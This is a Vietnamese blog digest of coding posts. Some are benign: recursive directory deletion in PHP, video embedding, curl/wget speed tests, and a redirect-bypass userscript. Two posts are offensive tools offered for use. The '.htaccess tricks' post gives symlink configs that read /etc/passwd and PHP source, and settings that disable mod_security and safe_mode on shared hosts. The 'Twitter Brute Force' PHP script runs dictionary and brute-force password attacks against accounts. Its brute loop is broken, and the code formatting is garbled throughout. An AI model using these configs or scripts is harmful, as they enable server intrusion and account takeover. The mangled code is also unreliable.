Friday, April 17, 2015

Xóa thư mục và file trong một thư mục – PHP

Xóa thư mục và file trong một thư mục – PHP


Xóa thư mục và file trong một thư mục – PHP

Posted: 17 Apr 2015 08:32 AM PDT




Trong PHP, do cơ chế bảo mật nên muốn xóa một thư mục, bạn phải xóa hết các tệp có trong thư mục đó trước. Tức là chỉ có thể xóa một thư mục rỗng.

Bạn có thể mở rộng thêm function này bằng việc thêm vào việc kiểm tra logic: nếu không phải là thư mục => xóa tệp

Mã PHP:

<?php
function delete_directory($dirname) {
         if (
is_dir($dirname))
           
$dir_handle opendir($dirname);
     if (!
$dir_handle)
          return 
false;
     while(
$file readdir($dir_handle)) {
           if (
$file != "." && $file != "..") {
                if (!
is_dir($dirname."/".$file))
                     
unlink($dirname."/".$file);
                else
                     
delete_directory($dirname.'/'.$file);
           }
     }
     
closedir($dir_handle);
     
rmdir($dirname);
     return 
true;
}
?>

Nhìn function trên khá đơn giản và dễ hiểu phải không?

Khoan khoan, đừng vội dùng nó ngay, mà hãy đọc phần dưới đây.

Tôi sẽ trình bày một function khác, sử dụng đệ quy và nhìn sẽ gọn nhẹ hơn nhiều.

Nếu bạn chưa hiểu đệ quy là gì thì tôi giải thích ngắn gọn như sau:
– Một hàm được gọi là hàm đệ quy khi trong quá trình thực hiện nó tự gọi lại chính nó để thực hiện.

Muốn chi tiết hơn bạn tìm định nghĩa trên Google nhé.

Mã PHP:

<?php
/* 
 * php delete function that deals with directories recursively
 */
function delete_files($target) {
    if(
is_dir($target)){
        
$files glob$target '*'GLOB_MARK ); //GLOB_MARK adds a slash to directories returned
 
        
foreach( $files as $file )
        {
            
delete_files$file );      
        }
 
        
rmdir$target );
    } elseif(
is_file($target)) {
        
unlink$target );  
    }
}
?>

Nhìn thấy thông thoáng và dễ hiểu hơn function 1 chứ?








----------
Nguồn www.yeuquangngai.net

PHP Script WebVideo

Posted: 16 Apr 2015 01:18 PM PDT




Mã PHP:

static function get_video($url,$width=560,$height=315) {
        if (
strstr($url,'youtube')){
            
$parse_url=parse_url($url);
            
parse_str($parse_url['query']);
            
$id=$v;
            
$iframe='<iframe width="'.$width.'" height="'.$height.'" src="http://www.youtube.com/embed/'.$id.'" frameborder="0" allowfullscreen></iframe>';
            return 
$iframe;
        }
        if (
strstr($url,'vimeo')) {
            if (!empty(
$url)) {
                
$id=array_pop(explode('/',$url));
                
$iframe='<iframe src="http://player.vimeo.com/video/'.$id.'?title=0&amp;byline=0&amp;portrait=0" width="'.$width.'" height="'.$height.'" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>';
                return 
$iframe;
            }
        }
        return 
false










----------
Nguồn www.yeuquangngai.net

thủ thuật .htaccess

Posted: 16 Apr 2015 11:24 AM PDT




cgitelnet symlink htaccess

Code:

symljnk ghi vào file.hack
download file.hack về
Options +ExecCGI
AddHandler cgi-script cgi pl cgi love jpg
RewriteEngine on
RewriteRule (.*).mil$ $1.cgi
Options +FollowSymLinks
DirectoryIndex cmd.html
Options +Indexes
RemoveHandler .hack
AddType text/plain .hack

SSI VIEW SYMLJNK

.htaccess

Code:

Options +Includes
AddType text/html .shtml
AddHandler server-parsed .shtml
ln -s /et/passwd juno.txt

juno.shtml:

Code:

<!--#include virtual="juno.txt" -->
direct symljnk view file.php dưới dạng file text

Code:

options all
Options +FollowSymLinks
Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType text/plain .php
AddHandler server-parsed .php

Safe mod off

Code:

Options +FollowSymLinks
DirectoryIndex ssssss.htm
Options All Indexes
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
SetEnv PHPRC /home/user/public_html/php.ini
suPHP_ConfigPath /home/user/public_html/php.ini

or

Code:

Options +ExecCGI
AddHandler cgi-script cgi pl cgi love jpg
RewriteEngine on
RewriteRule (.*)\.mil$ $1.cgi
Options +FollowSymLinks
DirectoryIndex cmd.html
Options +Indexes
RemoveHandler .hack
AddType text/plain .hack
## milw0rmvn exploit ##

php.ini:

Code:

safe_mode=Off
Disable_Functions=None
Open_Basedir=None
Safe_Exec_Dir=None
Safe_Gid=None
Safe_Include_Dir=None
Sql.safe_mode=None
cURL=Off
MySQL=Off
MSSQL=Off
PostgreSQL=Off
Oracle=Off

or

Code:

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterSanPOST Off
</IfModule>
#START #
Options +ExecCGI
AddHandler cgi-script cgi pl tmt

Options +FollowSymLinks
DirectoryIndex seees.html
Options +Indexes


VIEW file.php

Code:

Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any

hạ safe_mode

php.ini

Code:

safe_mode = Off
disable_functions = ""

.htaccess

Code:

<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>

.htaccess

Code:

AddHandler application/x-httpd-php4 .php .php4 .php3
.htaccess

Code:

php_flag safe_mode off
php_flag disable_functions ""

.htaccess

Code:

php_admin_value disable_functions ""
php_admin_value safe_mode off
.htaccess
php_value safe_mode off
php_value disable_functions ""

.htaccess

Code:

SetEnv PHPRC /home/user/public_html/php.ini
.htaccess

Code:

suPHP_ConfigPath /home/user/public_html/php.ini
.htaccess

Code:

<Files *.php>
ForceType application/x-httpd-php4
</Files>

nguồn junookyo.blogspot.com









----------
Nguồn www.yeuquangngai.net

Kiểm tra tốc độ Internet của bạn từ Command Line

Posted: 16 Apr 2015 11:19 AM PDT





Mọi người muốn kiểm tra tốc độ Internet của họ dễ dàng bằng cách làm điều đó từ một trang web kiểm tra tốc độ như speedtest.net

Dưới đây là cách để thực hiện điều đó từ dòng lệnh (Command Line).

Chú ý: Nếu bạn đang sử dụng Windows, bạn sẽ cần cài đặt Cygwin hoặc cài đặt cURL hay Wget. Đối với Mac thì bạn có thể sử dụng cURL nhưng nếu bạn thích wget hơn thì bạn sẽ cần cài đặt nó.


Kiểm tra tốc độ kết nối mạng với cURL

Rất đơn giản, chỉ cần sao chép và dán lệnh sau:
curl -o /dev/null http://speedtest.sea01.softlayer.com...ds/test100.zip
Điều đầu tiên cần chỉ ra là chúng ta đang sử dụng một tập tin thử nghiệm từ Softlayer, nhưng nếu kết nối mạng của bạn thực sự nhanh thì bạn có thể muốn sử dụng một tập tin lớn hơn từ Thinkbroadband để kiểm tra chính xác hơn. Thứ hai, đó là -o là trường hợp viết thường của ký tự O (nó không phải là số 0). Và chúng ta sẽ xuất tệp tin vào /dev/null, điều đó nghĩa là nó sẽ được tự động xóa.

Kiểm tra tốc độ kết nối mạng với Wget

Nếu bạn thích sử dụng wget hoặc bạn đã cài đặt nó, thì câu lệnh khá giống nhau. Bằng việc xuất tệp tin ra /dev/null thì bạn cũng không cần phải xóa tệp tin nào sau khi kiểm tra.
wget -O /dev/null http://speedtest.sea01.softlayer.com...ds/test100.zip
Tệp tin này chỉ có 100 MB, vì thế nếu bạn có một kết nối thực sự nhanh thì bạn sẽ muốn tìm một tệp tin lớn hơn để tải về.

Theo Howtogeek.com









----------
Nguồn www.yeuquangngai.net

Redirect remover

Posted: 16 Apr 2015 11:16 AM PDT




Code:

// ==UserScript==
// @name        Redirect remover
// @version      1.5.8
// @description  Bypass redirected links.
// @namespace    idmresettrial
// @author      idmresettrial
// @run-at      document-end
// @require      http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js
// @grant        none

// Website list

// @include      http://vozforums.com/*
// @include      http://sinhvienit.net/*
// @include      http://forum.vietdesigner.net/threads/*
// @include      http://phienbanmoi.com/*
// @include      http://muare.vn/*
// @include      http://www.webtretho.com/*

// @include      http://adf.ly/*
// @include      http://q.gs/*

// @include      http://acer-a500.ru/*
// @include      http://vegaviet.com/threads/*

// @include      /^https*:\/\/www.fshare.vn.+/


// @include      /^https*:\/\/.+\/.*booking.+london/

// End list


// ==/UserScript==

this.$ = this.jQuery = jQuery.noConflict(true);

// Do not run on frames or iframes
if (window.top !== window.self) {
    return;
}

document.addEventListener("DOMContentLoaded", function() {

    site = window.location.hostname;

    switch (site)
    {

        case "vozforums.com":
        case "sinhvienit.net":
        case "phienbanmoi.com":
        case "forum.vietdesigner.net":
        case "www.webtretho.com":

            {

                $('a').each(function() {

                    url = unescape($(this).attr('href'));
                    if (site === "forum.vietdesigner.net") url = unescape(url);

                    redirect = /[?=]http/i;
                    if (redirect.test(url)) {
                        $(this).attr('href',url.replace(/^.+[?=]http/i,"http"));
                    }

                });

                break;
            }

        case "adf.ly":
        case "q.gs":

            {

                url="";
                if (window.ysmm)
                {
                    ysmm = window.ysmm;
                    url0 = ""; url1 = "";
                    for (i=0;i<ysmm.length;i++)
                    {
                        if (i%2===0)
                        {
                            url0 +=ysmm.charAt(i);
                            url1 +=ysmm.charAt(ysmm.length-1-i);
                        }
                    }
                    url = window.atob(url0 + url1);
                    url = url.substring(2,url.length);
                }
                if (url.length>0)
                {
                    window.onbeforeunload = null;
                    window.onunload = null;
                    gogogo(url);
                }

                break;
            }

        case "acer-a500.ru":
        case "vegaviet.com":

            {
                $('a').each(function() {

                    url = unescape($(this).attr('href'));
                    redirect = {"acer-a500.ru":"http://acer-a500.ru/engine/redir/index/leech_out.php?a:","vegaviet.com":'http://vegaviet.com/redirect/?to='};

                    if (url.indexOf(redirect[site]) === 0) {
                        $(this).attr('href',window.atob(url.substring(redirect[site].length,url.length)));
                    }

                });

                break;
            }

        case "www.fshare.vn":
            {
                csrf = $('input[name="fs_csrf"]');
                if (csrf.length) {
                    csrf = csrf.attr('value');
                    data = {speed: 'slow', fs_csrf: csrf};
                    $.post('/download/index', data).success(function(data){
                        $('<button class="btn-red free-btn download_btn" style="margin-bottom: 15px; display:none;" id="rrdownload"><div>Tải ngay (Redirect remover)</div></button>').insertBefore('button.download_btn');
                        $('#rrdownload').fadeIn();
                        $('#rrdownload').click(function() {window.location.replace(data.url);});
                    });
                }
                break;
            }

        case "muare.vn":
            {
                $('a.ProxyLink').removeClass('ProxyLink');
                break;
            }


        default:
            {
                if ( (/^https*:\/\/.+\/.*booking.+london/).test(window.location.href) ) {
                    selector = {"baomoitoday.com":'div[align="center"][style="padding:5px"] a', "travelworld24h.com":"div.cms-content a", "default":"center a"};
                    if (typeof selector[site] === "undefined") site = "default";
                    url = $(selector[site]).attr('href');
                    if (typeof(url) !== 'undefined') gogogo(url);
                }
                break;
            }


    }

});

function gogogo(url) {
    $('html').html('<html><head><title>'+url+'</title></head><body><h1>Đang chuyển hướng đến trang gốc...</h1></body></html>');
    window.location.replace(url);
    setTimeout(function() {
        $('body').html('');
    }, 2000);
}










----------
Nguồn www.yeuquangngai.net

[PHP] Twitter Brute Force

Posted: 16 Apr 2015 10:53 AM PDT




[php]<?php
/////////////////////////////////////////////////////
////Twitter Brute Force By Mauritania Attacker//////
///////////////////////////////////////////////////

///////////////////////////////////////////////////
////Changing Description won't make you the Coder/
/////////////////////////////////////////////////


////////////////////////////////////////////////////////////////////////////
# This script was created to Brute Force Twitter Logins,#
#it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) #
///////////////////////////////////////////////////////////////////////////

$dic ="pass.txt";
//////////////////////////////////////////////////////////////////////////



echo "
<title>Twitter Brute Force By Mauritania Attacker</title>
</head>
<style type='text/css'>
body {


font:Verdana, Arial, Helvetica, sans-serif;
font-size:12px;
border-color:#FFFFFF;
}
.raster_table {
background-color:BLUE;
border-color:#CCCCCC;
}
.alert {
color:#FF0000;
}
</style>
<body>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Twitter Brute Force
Mã PHP:

 By Mauritania Attacker</b></div>
        </
td>
    </
tr>
</
table>
<
table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
    <
tr>
        <
td>
            <
div align='center'>

            </
div>
        </
td>
    </
tr>
    <
tr>
        <
td>
            <
div align='center'>
             
            </
div>
        </
td>
    </
tr>
    <
tr>
        <
td>
            <
div align='center'>
                <
form method='post'>
                    
Target User:<br>
                    <
input name='username' type='text' /><br><br>
                    <
input name='attack' type='submit' value='dictionary' /> - <input name='attack' type='submit' value='brute' /><br>
                </
form>
            </
div>
        </
td>
    </
tr>
    <
tr>
        <
td>
            <
div align='center'>
             
            </
div>
        </
td>
    </
tr>
</
table>
";
// Sets variables and retrives twitter error for comparing
if(isset($_POST['attack']) && isset($_POST['username'])) {
    $username = $_POST['username'];
    $headers = array(
    "
Hoststream.twitter.com",
    "
User-AgentMozilla/5.0 (Windows NT 6.1rv:23.0Gecko/20100101 Firefox/23.0",
    "
Accepttext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3",
    "Accept-Encoding: text", # No gzip, it only clutters your code!
    "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
    "Date: ".date(DATE_RFC822)
    );
    $c = curl_init('https://stream.twitter.com/1/statuses/filter.json');
    curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
    curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers
    curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so no direct output!
    curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
    curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1);
    curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
    $wrong = curl_exec($c); // Get it
    curl_close($c); // Close the curl stream
}
//Dictionary Attack
if($_POST['attack'] == "dictionary") {
    $Dictionary = file("$dic");
    for ($Position = 0; $Position < count($Dictionary); $Position++) {
        $Dictionary[$Position] = str_replace("rn", "", $Dictionary[$Position]);
        if(check_correct($username, $Dictionary[$Position])) {
            die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the account: ".$username."</b></div>
        </td>
    </tr>
</table>
</body>
</html>");
        }
    }
    echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>".$username."</span> during the dictionar
y attack.</b></div>
        </td>
    </tr>
</table>";
}
//Brute Attack
elseif($_POST['attack'] == "brute") {
    for ($Pass = 0; $Pass < 2; $Pass++) {
        if ($Pass == 0){$Pass = "a";} elseif ($Pass == 1){ $Pass = "a"; }
        if(check_correct($username, $Pass)) {
            die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the account: ".$username."</b></div>
        </td>
    </tr>
</table>
</body>
</html>");
        }
    }
    echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
    <tr>
        <td>
            <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>".$username."</span> during the brute for
ce attack.</b></div>
        </td>
    </tr>
</table>";
}
echo "</body>
</html>";
// Function for checking whether the username and password are correct
function check_correct($username, $password)
{
        global $wrong, $headers;
        $c = curl_init('https://'.$username.':'.$password.'@stream.twitter.com/1/statuses/filter.json');
        curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
        curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so no direct output!
        curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
        curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1);
        curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
        $str = curl_exec($c); // Get it
        curl_close($c);
        if($str != $wrong) {return true;}
        else {return false;}
}

?> 










----------
Nguồn www.yeuquangngai.net